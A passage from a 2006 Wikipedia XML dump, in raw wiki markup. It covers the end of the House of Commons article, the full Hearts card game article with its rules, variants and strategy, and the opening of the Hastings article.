By a custom that prevailed even before the Parliament Acts, the superiority of the House of Commons is ensured insofar as financial matters are concerned. Only the House of Commons may originate bills concerning taxation or [[Supply]]; furthermore, Supply bills passed by the House of Commons are immune to amendments in the House of Lords. In addition, the House of Lords is barred from amending a bill so as to insert a taxation or Supply-related provision, but the House of Commons often waives its privileges and allows the Lords to make amendments with financial implications. Under a separate convention, known as the [[Salisbury Convention]], the House of Lords does not seek to oppose legislation promised in the Government's election [[manifesto]].

Hence, as the power of the House of Lords has been severely curtailed by statute and by practice, the House of Commons is clearly the more powerful branch of Parliament.
{{see|Act of Parliament}}

==Relationship with the Government==
[[Image:Tony Blair at PMQs.jpg|thumb|left|250px|[[British Prime Minister]] [[Tony Blair]] in the [[British House of Commons|House of Commons]] during [[Prime Minister's Questions]].]]
Though it does not elect the Prime Minister, the House of Commons indirectly controls the premiership ''according to the constitution'' - in practice, many political scientists believe it actually works the other way round. By convention, the Prime Minister is answerable to, and must maintain the support of, the House of Commons. Thus, whenever the office of Prime Minister falls vacant, the Sovereign appoints the person most likely to command the support of the House—normally, the leader of the largest party in the Lower House. (The leader of the second-largest party becomes the [[Leader of the Opposition]].) In modern times, and practically by convention, the Prime Minister is always a member of the House of Commons, rather than the House of Lords. 

The Prime Minister may only stay in office as long as he or she retains the confidence of the House of Commons. The Lower House may indicate its lack of support for the Government by rejecting a [[Motion of Confidence]], or by passing a [[Motion of No Confidence]]. Confidence and No Confidence Motions are sometimes phrased explicitly, for instance: &quot;That this House has no confidence in Her Majesty's Government.&quot; Many other motions are considered confidence issues, even though not explicitly phrased as such. In particular, important bills that form a part of the Government's agenda are generally considered matters of confidence, as is the annual Budget. When a Government has lost the confidence of the House of Commons, the Prime Minister is obliged to either resign, or request the monarch to dissolve Parliament, thereby precipitating a general election. 

Except when compelled to do so by an adverse vote on a confidence issue, the Prime Minister is allowed to choose the timing of dissolutions, and consequently the timing of general elections. The timing reflects political considerations, and is generally most opportune for the Prime Minister's party. However, no parliamentary term can last for more than five years; a dissolution is automatic upon the expiry of this period. Parliament is almost never permitted to sit for the maximum possible term, with dissolutions customarily being requested earlier.

Whatever the reason—the expiry of Parliament's five year term, the choice of the Prime Minister, or a Government defeat in the House of Commons—a dissolution is followed by general elections. If the Prime Minister's party retains its majority in the House of Commons, then the Prime Minister may remain in power. On the other hand, if his or her party has lost its majority, the Prime Minister is compelled to resign, allowing the Sovereign to appoint a new Prime Minister. One may note that a Prime Minister may resign even if he or she is not defeated at the polls (for example, for personal health reasons); in such a case, the premiership goes to the new leader of the outgoing Prime Minister's party.

In modern times, the House of Commons rather than the Lords is the source of most government ministers. By [[constitution of the United Kingdom|constitutional convention]], all ministers must be members of the House of Commons or House of Lords. A handful have been appointed who are outside Parliament but in most cases they subsequently entered Parliament either by means of a by-election or receiving a peerage. Since 1902, all Prime Ministers have been members of the Commons (the sole exception, the [[Alec Douglas-Home|Earl of Home]] disclaimed his peerage days after becoming Prime Minister and was elected to the House of Commons as Sir Alec Douglas Home). 

No major [[Cabinet of the United Kingdom|cabinet]] position (except [[Lord Chancellor]] and [[Leader of the House of Lords]]) has been filled by a Lord since 1982 when [[Lord Carrington]] resigned as Foreign Secretary, though some of the middle rank Cabinet posts such as Defence Secretary and International Development Secretary have been filled by peers. The elected status of members of the Commons, as opposed to the unelected nature of members of the Lords, is seen to lend more legitimacy to ministers from the Commons. The Prime Minister chooses the Ministers, and may decide to remove them at any time; the formal appointment or dismissal, however, is made by the Sovereign.

The House of Commons scrutinises the Government through &quot;[[Question Time]],&quot; a period during which Members have the opportunity to ask questions of the Prime Minister and of other Cabinet Ministers. Prime Minister's Question Time occurs once each week, normally for a half-hour each Wednesday. Questions must relate to the responding Minister's official Government activities, not to his or her activities as a party leader or as a private Member of Parliament. Customarily, members of the Government party and members of the Opposition alternate when asking questions. In addition to questions asked orally during Question Time, Members of Parliament may also make inquiries in writing. 

In practice, the House of Commons' scrutiny of the Government is very weak. Since the First-Past-the-Post electoral system is employed in elections, the governing party tends to enjoy a large majority in the Commons; there is often limited need to compromise with other parties. Modern British political parties are so tightly organised that they leave relatively little room for free action by their MPs. Thus, during the twentieth century, the Government has lost confidence issues only thrice—twice in 1924, and once in 1979. However, the threat of rebellions by backbench MPs often forces Governments to make concessions to their cause (see [[top-up fees]], [[foundation hospitals]]). Occasionally the Government is completely defeated by backbench rebellions ([[Terrorism Bill 2005]])

The House of Commons technically retains the power to impeach Ministers of the Crown (or any other subject, even if not a public officer) for their crimes. Impeachments are tried by the House of Lords, where a simple majority is necessary to convict. The power of impeachment, however, has fallen into disuse; the House of Commons exercises its checks on the Government through other means such as No Confidence Motions. The last impeachment was that of [[Henry Dundas, 1st Viscount Melville]] in 1806.

==Latest election==
{{United Kingdom parliamentary election, 2005}}
==Current composition==
{{main articles|[[MPs elected in the UK general election, 2005]] and [[Party standings in the British House of Commons]]}}

{| class=&quot;wikitable&quot;
|-
| colspan=&quot;2&quot; rowspan=&quot;1&quot; align=&quot;center&quot; valign=&quot;top&quot; | '''Affiliation'''
| valign=&quot;top&quot; | '''Members'''&lt;br&gt;
|-
|{{British politics/party colours/Labour}}|&amp;nbsp;
| [[Labour Party (UK)|Labour Party]]
| 353
|-
|{{British politics/party colours/Conservative}}|&amp;nbsp;
| [[Conservative Party (UK)|Conservative Party]]
| 196
|-
|{{British politics/party colours/Liberal Democrat}}|&amp;nbsp;
| [[Liberal Democrats (UK)|Liberal Democrats]]
| 63
|-
|{{British politics/party colours/Democratic Unionist}}|&amp;nbsp;
| [[Democratic Unionist Party]]
| 9
|-
|{{British politics/party colours/Scottish National}}|&amp;nbsp;
| [[Scottish National Party]]
| 6
|-
|{{British politics/party colours/Sinn Fein}}|&amp;nbsp;
| [[Sinn Féin]]
| 5&lt;sup&gt;†&lt;/sup&gt;
|-
|{{British politics/party colours/Plaid Cymru}}|&amp;nbsp;
| [[Plaid Cymru]]
| 3
|-
|{{British politics/party colours/SDLP}}|&amp;nbsp;
| [[Social Democratic and Labour Party]]
| 3
|-
|{{British politics/party colours/Ulster Unionist}}|&amp;nbsp;
| [[Ulster Unionist Party]]
| 1
|-
|{{British politics/party colours/Respect}}|&amp;nbsp;
| [[RESPECT The Unity Coalition]]
| 1
|-
| bgcolor=&quot;#999999&quot; | &amp;nbsp;
| Independent&lt;br&gt;
| 2
|-
| bgcolor=&quot;black&quot; | &amp;nbsp;
| Speaker and Deputies&lt;br&gt;
| 4
|-
| colspan=&quot;2&quot; rowspan=&quot;1&quot; | &amp;nbsp;'''Total'''&lt;br&gt;
| '''646'''
|-
| colspan=&quot;2&quot; rowspan=&quot;1&quot; | &amp;nbsp;'''Government Majority'''&lt;br&gt;
| '''64'''
|}

† Sinn Féin does not take its seats in Parliament because of (a) their refusal to take the oath (which involves acknowledging The Queen), (b) the fact it is a 'partitionist' body which legislates for only part of the island of Ireland, and (c) the bar placed on their sitting by electoral mandate (ie. they were elected on a pledge not to take their seats).

==The chamber in film and television==
In 1986, the British television production company [[Granada Television]] created a full-sized replica of the House of Commons debating chamber at its studios in [[Manchester]], for use in its adaptation of the [[Jeffrey Archer, Baron Archer of Weston-super-Mare|Jeffrey Archer]] novel ''[[First Among Equals]]''. The set was highly convincing, and was retained after the production – since then, it has been used in nearly every British [[film]] and [[television]] production which has featured scenes set in the chamber. From 1988 until 1999 it was also one of the prominent attractions on the [[Granada Studios Tour]], where visitors could watch actors performing mock political debates on the set.

In 2002 the set was purchased by the scriptwriter [[Paul Abbott]] so that it could be used in his [[BBC]] drama serial ''[[State of Play]]''. Abbott, himself a former Granada Television staff writer, bought it personally as the set would otherwise have been destroyed and he feared it would take too long to get the necessary money from the BBC. He currently keeps it in storage in [[Oxford]].{{ref|ref01}}

==See also==
* [[Adjournment debate]]
* [[Early day motion]]
* [[Father of the House]]
* [[Introduction (British House of Commons)|Introduction ceremony]]
* [[Speaker Denison's rule]]
* [[UK topics]]

==References==
*Farnborough, T. E. May, 1st Baron. (1896). ''Constitutional History of England since the Accession of George the Third'', 11th ed. London: Longmans, Green and Co.
*[[Kenneth Mackenzie|Mackenzie, K.R.]], &quot;The English Parliament&quot;, (1950) Pelican Books.
*&quot;Parliament&quot; (1911). ''Encyclopædia Britannica'', 11th ed. London: Cambridge University Press.  
*Pollard, Albert F. (1926). ''The Evolution of Parliament'', 2nd ed. London: Longmans, Green and Co. 
*Porritt, Edward, and Annie G. Porritt. (1903). ''The Unreformed House of Commons: Parliamentary Representation before 1832.'' Cambridge: Cambridge University Press.
*Raphael, D. D., Donald Limon, and W. R. McKay. (2004). ''Erskine May: Parliamentary Practice'', 23rd ed. London: Butterworths Tolley. 
{{note|ref01}} Abbott, Paul. [[Audio commentary (DVD)|Audio commentary]] on the [[DVD]] release of ''[[State of Play]]''. [[BBC Worldwide]]. BBCDVD 1493.

==External links==
*[http://news.bbc.co.uk/1/hi/uk_politics/a-z_of_parliament/ The British Broadcasting Corporation. (2005). &quot;A–Z of Parliament.&quot;]
*[http://politics.guardian.co.uk/commons/ ''The Guardian.'' (2005). &quot;Special Report: House of Commons.&quot;]
*[http://www.parliament.uk/ The Parliament of the United Kingdom. Official website.]
*[http://www.parliamentlive.tv/ The Parliament of the United Kingdom. Parliament Live TV.]

[[Category:Parliament of the United Kingdom]]
[[Category:National lower houses|United Kingdom]]
[[Category:Westminster System]]
[[Category:Government of the United Kingdom|House of Commons]]

[[de:House_of_Commons_%28Gro%C3%9Fbritannien%29]]
[[es:Cámara de los Comunes del Reino Unido]]
[[fr:Chambre des communes britannique]]
[[ja:庶民院]]
[[nl:Lagerhuis]]
[[pl:Izba Gmin]]
[[ru:Палата общин]]
[[vi:Hạ Nghị viện Vương quốc Anh]]
{{featured article}}</text>
    </revision>
  </page>
  <page>
    <title>Hearts (game)</title>
    <id>13829</id>
    <revision>
      <id>42044358</id>
      <timestamp>2006-03-03T12:16:45Z</timestamp>
      <contributor>
        <username>Rufusgriffin</username>
        <id>957546</id>
      </contributor>
      <comment>/* Split Pass */</comment>
      <text xml:space="preserve">'''Hearts''' is a [[trick-taking game]], usually played with a standard deck of 52 cards, in which the object is to avoid taking certain cards in tricks. Hearts is usually played with four players, but can be modified for other numbers of players&amp;mdash;this is discussed under [[#Variants|Variants]].

== How to play == 

=== Getting started ===

Hearts requires only:

* four players,
* a deck of standard [[playing cards]], and
* a pen and paper for scorekeeping. 

Variants for other numbers of players exist, and are described in the &quot;Variants&quot; section.

=== The deck ===

Hearts is played with one standard deck of playing cards. As in [[contract bridge|Bridge]], the rank-order is (from high to low) [[ace]], [[king (playing card)|king]], [[queen (playing card)|queen]], [[jack (playing card)|jack]], 10, 9, 8, 7, 6, 5, 4, 3, 2. There is no [[trump_(cards)|trump suit]].

=== The object ===

The object of Hearts is to avoid scoring points; when one person scores a pre-specified amount (usually 100) the game is over, and the winner is the person with the lowest score.

=== Play overview=== 

Hearts is played in ''rounds'', each of which includes a deal, a player-to-player pass, the play of tricks, and a scoring phase. Players continue at rounds indefinitely, until the game's end.

==== The deal ====

Which player deals has no effect on play, but dealership is normally rotated left with each new hand. The deck is dealt to exhaustion.

==== Passing cards ====

In most rounds, each player passes any three cards from his or her hand to another player, and receives 3 to replace them. Players must select which cards they will pass before viewing the cards passed to them. 

The pass sequence, repeating every four rounds, is as follows:

* Rounds 1, 5, 9... : Pass ''Left''.
* Rounds 2, 6, 10... : Pass ''Right''.
* Rounds 3, 7, 11... : Pass ''Across''.
* Rounds 4, 8, 12... : ''Hold''ing hand; no passing occurs. 

==== Trick-play ====

Play is standard no-trump [[trick-taking game | trick-taking]]. The 2&amp;clubs; is a round's '''initial lead''': the person holding this card, after the pass, leads it to the first trick. Players, if able, are required to follow suit. 

All hearts and the Q&amp;spades; are ''penalty cards'' which players desire to avoid winning in tricks. 

==== &quot;Gentleman's Rules&quot; ====

There are some rules of Hearts, known as &quot;Gentleman's Rules&quot;, that are sometimes included in hearts regarding the play of penalty cards. Four more notable gentleman's rules are:

# No player may lead a trick in the heart suit until a penalty card has been played (or until forced by having nothing else). This is called the &quot;breaking of hearts&quot; or &quot;breaking the ice&quot;, and usually occurs either when the Q&amp;spades; is played to a spade trick, or a heart is [[ruff_(cards)|ruff]]ed out-of-suit.
# No player may play a penalty card (&quot;blood&quot;) on the first trick, unless the player has nothing else (an extremely unlikely situation).
# A player holding the Q&amp;spades; must play it at the first legal opportunity where it cannot win the trick (for example, if the A&amp;spades; were led, or if this player were afforded a ruffing opportunity.)
# On rare occasions you will encounter groups who forbid certain cards to be passed (most commonly the 2&amp;clubs; or the Q&amp;spades;).

The second rule listed is a relatively modern addition, and the third is rarely used today. All of these rules are controversial within the hearts community, and it is a good idea, before play, to verify with the other players which rules are to be used.

==== Scoring ====

At the end of a round, penalty ''points'' are assessed according to the cards taken in tricks. Each heart gives 1 point to the person taking it, and the Q&amp;spades; carries a penalty of 13 points. Therefore, 26 points are assessed each round. However, if a player takes all the penalty cards (known as ''shooting the moon'', ''going for control'', or simply ''running hearts'') he or she takes no penalty points, and the other players take 26. Alternatively, some players allow this individual to ''subtract'' 26 points from his or her score. This has no effect on relative totals but slows the pace of the game. 

Finally, the scores are checked against the game-ending condition, and the game ends or a new round begins.

== Variants ==

Having existed for centuries, and widely played in [[North America]], Hearts is one of the most varied card games, second perhaps only to [[Poker]] in the number and diversity of variants. Hundreds, if not thousands, exist on the [[Internet]]. 

We present some of the more notable variants. ''Play variants'' are variations where the game itself is different. ''Scoring variants'' are variations where the game's rules are no different, but objectives and scoring are altered: this may only slightly alter the game, or (via [[emergent behavior | emergent]] effects) make it utterly different. 

===Open lead===
::Some players prefer to have the first lead determined according to dealership instead of the 2&amp;clubs;, because having the 2&amp;clubs; denies its holder one trick's worth of strategic liberty; otherwise, they could lead something more appropriate to their strategy.  Instead, the first trick is led at dealer's left, and this player may lead any card not in the heart suit. In this variant, players are required to keep track of dealership.

===Split Pass===
::The most common variant involves a single extra passing phase, just before the players hold.  The series of passes usually go Left, Right, Across, Split, Hold.  The ''split pass'' requires players to pass one card to the Left, one card Across, and one card to the Right.  If done every round, this can be called Hoosier Hearts, Indian Hearts or Hearts in Indiana.

===Dealer's choice===
::Another kind of passing variant is where the dealer has the authority to determine the round's passing structure. There is usually a limit to the number of cards that may be passed, and the dealer may have cards passed in a unconventional manner (e.g. &quot;pass two left, one right&quot;). The dealer should make this determination before viewing his or her own hand.

===Three players===
::'''Kitty Hearts'''  The dealer deals a well-shuffled 52 card pack out to exhaustion, however, during the process he places one card face down in the middle, known as the &quot;kitty&quot;, and the three players receive 17 cards each (17*3 + 1 = 52).  Whoever takes the first trick (or, in some circles, the first trick with a penalty card) takes the kitty as well, and only that player may see what it is.  With this rule, often the first player is not required to play the 2&amp;clubs;, as getting the kitty can be advantageous, and some other variation of starting play is used.  Another variation, the 3&amp;clubs; or &lt;font color = &quot;red&quot;&gt;2&amp;#9830;&lt;/font&gt; is removed from the deck, and hands of 17 cards are dealt. For all these variations, the &quot;Across&quot; passes are removed from the passing cycle.

::'''High-Low Joker Hearts'''  Two Jokers are added to the deck so that there are 54 cards to deal out.  There is no Kitty in the middle of the table.  Each player gets 18 cards (18*3 = 54).  The Jokers count as hearts, with the first Joker played being ''high'' and ranking above the Ace, and the second Joker played being ''low'' and ranking under the Deuce.  With regards to scoring, the value of the Queen of Spades (in the Black Mary variant) is frequently raised to 15 points because there are now 15 points worth of Hearts.  The exact values have to be decided on at the start of the game, as is usual with Gentleman's Rules.  High-Low Hearts is also known as ''Hello Hearts.''

===Five players===
::The 3&amp;clubs; and &lt;font color = &quot;red&quot;&gt;2&amp;#9830;&lt;/font&gt; are removed from the deck, and hands of 10 cards are dealt. The passing cycle, then, is L1-R1-L2-R2-Hold, where &quot;L2&quot;, for example, represents a pass two players to the left.  Also, as is similar with one of the three player variations, two kitties can be used, either the player who gets the first trick takes both kitties, or one kitty is given out on the first and second tricks.

===Cancellation hearts===
::This is used when a large number (6+) of people is present. Two decks are used, yielding 52 penalty points. If two identical cards appear in the trick, they ''cancel'' and are unable to win the trick; the highest ''uncanceled'' card of the suit led will win. If all cards of the led suit cancel, the person leading to that trick also leads to the next, and the winner of that trick gets credit for that trick as well as the previous unclaimed trick(s). Cancellation only applies to trick-winning; canceled cards still maintain their penalty points. 

::Each player is dealt an equally-sized hand&amp;mdash;any remainder cards are left face-up and any penalty points assigned to the winner of the first trick. For example, with 7 players and two decks (104 cards) each player would receive a 14-card hand, and 6 cards would be left face-up for this purpose. 

::Shooting the moon, analogously, earns 52 points to all players ''but'' the shooter. However, this is an extremely rare phenomenon in Cancellation Hearts. 

::Passing cycles must also be modified in large Hearts games.

::If many more players are present (11 or 12+), it becomes necessary to use 3 decks. The cancellation rules outlined above still apply, but if all 3 identical cards appear in a trick, only the first 2 played get cancelled out. The third is still valid. This would mean that to shoot the moon gives out 78 points, and will usually either end the game or bring it very close. However, this is even rarer than with 2 decks. A similar cancellation strategy applies for 4 or more decks, but it is very unlikely that that many decks will be needed.

=== Scoring variants ===

'''Omnibus:''' This is a very popular scoring variant; Hearts is played almost as often with this addition as without. The &lt;font color = &quot;red&quot;&gt;J&amp;#9830;&lt;/font&gt; is a bonus card players desire to take in tricks, worth -10 points (or -11). However it is not normally required to shoot the moon.  In some books, this card is the &lt;font color = &quot;red&quot;&gt;10&amp;#9830;&lt;/font&gt;.  Because this slows the progression of scores, Omnibus hearts is normally played to a lower threshold score of 52, 61 or 75.  Some people also play that taking no tricks is worth -5 points.  Shooting the moon may require taking all of the hearts and &lt;font color = &quot;red&quot;&gt;J&amp;#9830;&lt;/font&gt; and Q&amp;spades;.  Also shooting the moon may be with either -13 (to the winner) or +26 (to the other players) - winner's choice.  Note with &lt;font color = &quot;red&quot;&gt;J&amp;#9830;&lt;/font&gt; = -11, and Q&amp;spades; = +13 and 13 hearts, the total score for each turn is 15, making adding up the score easier if only one player has taken the majority of the tricks.

'''Target scores:''' Hearts is sometimes played with positive bonuses applied to attaining certain exact scores: it is sometimes played that any player able to score ''exactly'' 50 points is reset to zero, and any player scoring ''exactly'' 100 is reset to 50.

'''Ten of clubs:''' Sometimes, the 10&amp;clubs; is played as a penalty card, doubling a player's take for the round. In the Omnibus variant, the 10&amp;clubs; may be either a penalty or a benefit card, depending upon other cards taken by that player. This rule is rarely observed today.

'''Shooting the sun:''' Some hearts players assign a premium to the accomplishment of taking all tricks, doubling the 26-point bonus to 52.

'''Spot hearts:''' This is a hearts variant where higher-ranking hearts carry greater penalty values than lower-ranked hearts. Specifically, each heart is worth its numerical value in points (&lt;font color = red&gt;2&amp;hearts;&lt;/font&gt; = 2, ..., &lt;font color = &quot;red&quot;&gt;K&amp;hearts;&lt;/font&gt; = 13, &lt;font color = &quot;red&quot;&gt;A&amp;hearts;&lt;/font&gt; = 14). The Q&amp;spades; is then worth 25 penalty points. There are now 129 penalty points assessed each round, and the threshold score is usually 500.  Shooting the moon may be worth either the sum of all the cards combined, or the rule may simply not be observed.  In variations on this the points are as follows: &lt;font color = red&gt;2&amp;hearts;&lt;/font&gt; = 2, ..., &lt;font color = &quot;red&quot;&gt;10&amp;hearts;&lt;/font&gt; = 10, &lt;font color = &quot;red&quot;&gt;J&amp;hearts;&lt;/font&gt; = 10,&lt;font color = &quot;red&quot;&gt;Q&amp;hearts;&lt;/font&gt; = 10,&lt;font color = &quot;red&quot;&gt;K&amp;hearts;&lt;/font&gt; = 10, &lt;font color = &quot;red&quot;&gt;A&amp;hearts;&lt;/font&gt; = 15 and  Q&amp;spades; = 25.   

'''Complex hearts:''' This is a variant reportedly invented by [[Richard Garfield]]. 

Complex hearts is a Hearts variant using the [[complex number]] system for scoring. Play rules are no different than those of conventional Hearts. Hearts earn their captor 1 point a piece, the Queen of Spades earns &lt;math&gt;13i&lt;/math&gt;, and the Jack of Diamonds earns -10 points. The 10&amp;clubs; provides a &lt;math&gt;2i&lt;/math&gt; multiplier on a player's score for the round.

The loser of a game is the first player whose score, in [[absolute value]], exceeds 100. The winner is the player whose absolute value is smallest. (The absolute value of a complex number &lt;math&gt;a + bi&lt;/math&gt; is &lt;math&gt;\sqrt{a^2 + b^2}&lt;/math&gt;.)

This means that the &lt;font color = &quot;red&quot;&gt;J&amp;#9830;&lt;/font&gt; is not ''always'' a benefit card, nor are the traditional penalty cards always undesirable. For example, netting the 10&amp;clubs; and Q&amp;spades; together will result in a score change of -26, possibly counteracting some unwanted Hearts. Likewise, a player with a negative score (in terms of the [[real number | real]] part) would be penalized for taking the Jack of Diamonds, but rewarded for taking Hearts.

The Queen of Spades is especially dangerous in this variant, because the only way to counteract its effect is to capture the &lt;font color = &quot;red&quot;&gt;J&amp;#9830;&lt;/font&gt;-10&amp;clubs; combination, which produces a score change of &lt;math&gt;-20i&lt;/math&gt;.

Complex analogues of &quot;shooting the moon&quot; vary, but one possibility is to allow a person who accomplishes this to add &lt;math&gt;\pm 13 \pm 13i&lt;/math&gt; to each player's score, the signs chosen at the shooter's discretion.

== Strategy of hearts ==

Hearts is classified, in references such as ''Hoyle's Rules of Games'', as a children's game, but, in fact, there is depth to the game.

Heart's strategic element first appears in the 3-card player-to-player pass. Intuitively, the function of this pass is to rid one's hand of undesirable cards, or to get a head start on clearing a suit. However, this is not always the best strategy. 

As there is only one winner and three losers in hearts, the most advanced strategy appears when the three losing players team up to give the leader points. Playing the queen and other point cards only when the player with the lowest score can take them, passing favorable cards to trailing players, and setting up the leader all require teamwork and unselfish play. Second place is no better than fourth place, and thus it profits a player nothing to give points to the player with the highest score(high) ending the game while sitting in second place.

=== Spades ===

Imagine a hand containing the 3, 4, and King of Spades. It would seem that to pass these spades would be a great decision; it would rid the hand of a usually undesirable card (the King) and open a void in the spade suit. Yet in fact, most Hearts players would consider this a poor decision; were this player passed a Queen, and no other spades, he would now hold a singleton Queen, one of the worst hand configurations in the game. Holding the Queen of spades is considered desirable if the Queen is &quot;protected&quot; by at least three (ideally four or more) other spades. If this is not the case, the Q&amp;#9824; is a liability and should be ruffed at the first possible opportunity. 

If a player is dealt only high spades (Queen, King and/or Ace) the player will generally pass them, as the odds are in their favor they won't be passed the remaining spades, however it occasionally happens that one will be passed the remaining high spades.

If a player has several low spades (lower than Queen) and a King and/or an Ace, these cards are generally high priority to pass, unless passing to the right. When a player has several spades and a high spade and is passing to the right, generally they will have an opportunity to get rid of the high spade (or choose to use a lower card to avoid the Queen) when the player to their left starts a trick.

=== Hearts ===

Low (2, 3, 4) hearts are considered highly desirable, high hearts (Q, K, A) very undesirable. Starting with all three (QKA of Hearts), though is highly desirable, and generally a hand where a player will try to shoot the moon (as described below.)

The term &quot;covering&quot; is used to describe the common practice of passing the second highest heart (generally the 10 or lower) in order to prevent anyone else from shooting the moon. Occasionally, a player will pass a Jack or Queen as their cover card if they only have high hearts. This player is responsible for playing the higher heart to stop a player if they attempt to shoot the moon. Passing the highest heart (thus making it possible one player has all the high hearts), or not playing the cover card is called &quot;dodging&quot; or &quot;ducking&quot; and is considered poor sportsmanship normally.

=== Clubs ===

Since the 2 of clubs is always the first card played, some players opt to pass this card as if it were a high card. The reason being that having the 2 of clubs does not enable you to play a high club on the first hand. If the game is being played with the optional restriction on playing point cards on the first trick, the first trick must be safe and the player should try to use his high clubs immediately.

When point cards are not allowed on the first trick, the Ace of Clubs is considered by many a great card, and is generally not passed. Having the Ace of Clubs enables a player to start the next trick with whatever suit they desire. This can be especially useful if the player only has one card in a suit left. Passing a high club is generally considered foolish, because it will just be played on the first hand. The most dangerous clubs are the 9, 10 and J, as the 2, Q, K, and A generally see play on the first hand, thus making those three the highest three cards left.

When point cards are allowed on the first trick, however, many players adopt aggressive passing strategies to void themselves in clubs so as to play high hearts or the Queen of Spades on unsuspecting players following the strategies outlined in the previous paragraph. Under these rules, it is sometimes advisable to keep the 2 of clubs and pass higher clubs to cover the initial trick. When a player has all high clubs, it is advisable to pass them, especially if it is possible to get rid of all of them through passing and then begin laying points immediately.

=== Diamonds ===

Diamonds are generally passed in an attempt to short them. Generally passing all or the highest diamonds is the preferred strategy of most players as there is very little risk in shorting Diamonds. In some variations of the game, the 10 or J of Diamonds subtracts points, in which case high Diamonds are preferred.

=== Balanced hands ===

Balanced hands (4-3-3-3 suit split) are undesirable because they make it difficult to clear a suit.

=== Clearing a suit ===

During play, a common strategy is to attempt to '''clear''' or '''short''' a suit, or to make a void in it so that potentially dangerous cards can be ruffed to future tricks of that suit. One or two cards in a suit are relatively easy to clear; while a 3- or 4-card suit can be cleared, doing so may exhaust most or all of the cards in that suit, making the clearing useless. 

Early in a round of hearts, players often try to take the lead when they believe they can do so safely, because of the liberty offered by having the lead. Sometimes a player holding a doubleton King or Ace of Spades (but not also the Queen) will attempt a &quot;finesse&quot; by playing the King or Ace if third to play to a spade trick, in the hope that the fourth player is not the one who holds the Queen. Later, as penalty cards begin to emerge, players try to lose tricks. Often a player taking the lead late in a round of Hearts will be stuck with it.

=== Shooting the moon ===

The above criteria of desirability, one should note, only apply to a player not desiring to &quot;shoot the moon&quot;. Otherwise, many of these criteria are reversed. A hand that appears doomed may be excellent for the purpose of moon-shooting. 

The element of risk involved in shooting the moon is one of the appeals of the game, since a player may attempt to get all 26 points and fail by only getting 24 or 25, in which case the player suffers a massive penalty. This element provides much of the appeal of the game, along with the cutthroat aspect associated with a player holding the queen of spades possibly having the option of dropping it on another player's trick (sometimes called Q-bombing in slang). Often the player who has the fewest points (and is thus leading) is the one people try to give the queen to; however, there is always the risk of giving it to a player who then uses it as part of shooting the moon.  Players must always be on the lookout for another player trying to shoot the moon, in the hopes that they can stop it. In addition, the element of passing cards allows players to attempt to control their destiny and influence that of their fellow players. Receiving a pass of low cards is a [[red flag (signal)|red flag]] that the other player is attempting to shoot the moon.

==Trivia==
* Hearts is one of three card games bundled in several versions of [[Microsoft_windows|Microsoft Windows]].

==See also==
* [[Microsoft Hearts]]

== External links ==
*[http://www.toycrossing.com/hearts/index.shtml How to Play Hearts, Proficiently]
*[http://www.hearts-clan.de Hearts-Clan Germany]

[[Category:Anglo-American playing card games]]
[[Category:Trick-taking card games]]


[[da:Hjerterfri]]
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[[he:לבבות (משחק קלפים)]]
[[ja:ハーツ]]
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  </page>
  <page>
    <title>Hastings</title>
    <id>13830</id>
    <revision>
      <id>41791778</id>
      <timestamp>2006-03-01T19:59:06Z</timestamp>
      <contributor>
        <username>Kelisi</username>
        <id>173996</id>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">{| border=1 cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=300 style=&quot;margin: 1em 1em 1em 0; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot; style=margin-left:10px
|-
!colspan=2 align=center bgcolor=&quot;#ff9999&quot;|Borough of Hastings
|-
|align=center|[[Image:Hastings - East Sussex dot.png|115px|Hastings]]
|align=center|[[Image:EastSussexHastings.png|150px|Hastings]]&lt;br&gt;''Shown within [[East Sussex]]''
|-
!colspan=2 bgcolor=&quot;#ff9999&quot;|Geography
|-
|width=&quot;45%&quot;|Status:||Borough
|-
|[[Regions of England|Region]]:||[[South East England]]
|-
|Admin. County:||[[East Sussex]]
|-
|[[Surface area|Area]]:&lt;br&gt;- Total||[[List of English districts by area|Ranked 338th]]&lt;br&gt;[[1 E7 m²|29.72]] [[square kilometre|km&amp;sup2;]]
|-
|Admin. HQ:||Hastings
|-
| [[British_national_grid_reference_system|Grid reference]]: || {{mmukscaled|TQ821095|100|TQ 82 10}}
|-
|[[ONS coding system|ONS code]]:||21UD
|-
|Postcode:||TN34
|-
!colspan=2 bgcolor=&quot;#ff9999&quot;|Demographics
|-
|[[Population]]:&lt;br&gt;- Total ([[2004]] est.)&lt;br&gt;- [[Density]]||[[List of English districts by population|Ranked 275th]]&lt;br&gt;84,600&lt;br&gt;2,847 / km&amp;sup2;
|-
|Ethnicity:||97.0% White
|-
!colspan=2 bgcolor=&quot;#ff9999&quot;|Politics
|-
|colspan=2 align=center|Hastings Borough Council&lt;br&gt;http://www.hastings.gov.uk/
|-
|[[Local_government_in_England#Councils_and_councillors|Leadership]]:||Leader &amp; Cabinet
|-
|Executive:||All party
|-
|[[MPs elected in the UK general election, 2005|MP]]:||[[Michael Jabez Foster|Michael Foster]]
|}
{{otheruses}}
'''Hastings''' is a town and local government [[Non-metropolitan district|district]] in [[South East England|South East]] [[England]], in the county of [[East Sussex]].  The population was about 84,000 in 2000.  Known as a [[seaside resort]] and for the [[Battle of Hastings]] [[1066]], which actually occurred at the nearby town of [[Battle, East Sussex|Battle]].  Hastings was one of the [[Cinque Ports]], but its significance as a port declined after the [[Middle Ages]] and its main industry became [[fishing]]. It still has the largest beach-based fishing fleet in [[England]]. The town enjoyed some modest expansion in the latter part of the 20th century.


==History==

:''Main article: [[Battle of Hastings]].  For the history and etymology of the place name see [[Wiktionary:Hastings|Hastings]] in Wiktionary.''

Hastings was not a Roman settlement, although there are traces of Iron Age or Romano-British earthworks. The town of Hæstingas (probably referring to the followers of an [[Anglo-Saxon]] leader called Hæsta), is mentioned in documents from the [[eighth century]], and a royal [[mint (coin)|mint]] was established there in the reign of [[Athelstan]].

[[William the Conqueror]] made his headquarters here on his arrival in England, and the Battle of Hastings was fought a few miles a way near the present town of [[Battle, East Sussex|Battle]]. In this battle, William defeated and killed [[Harold Godwinson]], the last Saxon King of England, and destroyed his army, opening England to the Norman conquest. After the conquest, William built a castle at Hastings, as depicted on the [[Bayeux Tapestry]] - probably the earthworks of the existing castle.

In the middle ages Hastings became one of the [[Cinque Ports]]; [[Sandwich]], [[Dover]], and [[New Romney]] being the first, Hastings, and [[Hythe]] followed, all finally being joined by [[Rye, East Sussex|Rye]] and [[Pevensey]], at one point 42 towns were directly or indirectly affiliated to the group.

